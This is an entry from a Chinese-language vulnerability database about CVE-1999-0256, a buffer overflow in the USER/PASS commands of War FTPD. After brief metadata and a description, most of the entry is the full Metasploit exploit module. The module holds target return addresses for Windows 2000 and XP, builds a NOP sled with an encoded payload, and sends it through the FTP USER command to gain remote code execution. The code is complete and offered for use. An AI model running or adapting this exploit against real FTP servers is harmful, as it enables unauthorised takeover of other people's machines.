War FTPD USER/PASS命令超长参数缓冲区溢出漏洞

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漏洞ID 1119594 漏洞类型 其他
发布时间 2010-07-03 更新时间 2010-07-03
CVE编号 CVE-1999-0256 CNNVD-ID CNNVD-199802-006
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/16724
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-199802-006
|漏洞详情
WarFTPDaemon(warftpd)是一款用于Windows平台中的免费FTP服务器,它支持多重连接、用户权限设置和磁盘配额限制等。WarFTPD在处理带有超长参数的USER/PASS命令时存在缓冲区漏洞,远程攻击者可能利用此漏洞在服务器上执行任意指令从而控制服务器。<**>
|漏洞EXP
##
# $Id: warftpd_165_user.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'War-FTPD 1.65 Username Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow found in the USER command
				of War-FTPD 1.65.
			},
			'Author'         => 'Fairuzan Roslan <riaf [at] mysec.org>',
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 9669 $',
			'References'     =>
				[
					[ 'CVE', '1999-0256'],
					[ 'OSVDB', '875'    ],
					[ 'BID', '10078'	],
					[ 'URL', 'http://lists.insecure.org/lists/bugtraq/1998/Feb/0014.html' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process'
				},
			'Payload'        =>
				{
					'Space'    => 424,
					'BadChars' => "\x00\x0a\x0d\x40",
					'StackAdjustment' => -3500,
					'Compat'   =>
						{
							'ConnectionType' => "-find"
						}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Target 0
					[
						'Windows 2000 SP0-SP4 English',
						{
							'Ret'      => 0x750231e2 # ws2help.dll
						},
					],
					# Target 1
					[
						'Windows XP SP0-SP1 English',
						{
							'Ret'      => 0x71ab1d54 # push esp, ret
						}
					],
					# Target 2
					[
						'Windows XP SP2 English',
						{
							'Ret'      => 0x71ab9372 # push esp, ret
						}
					],
					# Target 3
					[
						'Windows XP SP3 English',
						{
							'Ret'      => 0x71ab2b53 # push esp, ret
						}
					]
				],
			'DisclosureDate' => 'Mar 19 1998'))
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		buf          = make_nops(600) + payload.encoded
		buf[485, 4]  = [ target.ret ].pack('V')

		send_cmd( ['USER', buf] , false )

		handler
		disconnect
	end

end
|参考资料

来源:OSVDB
名称:875
链接:http://www.osvdb.org/875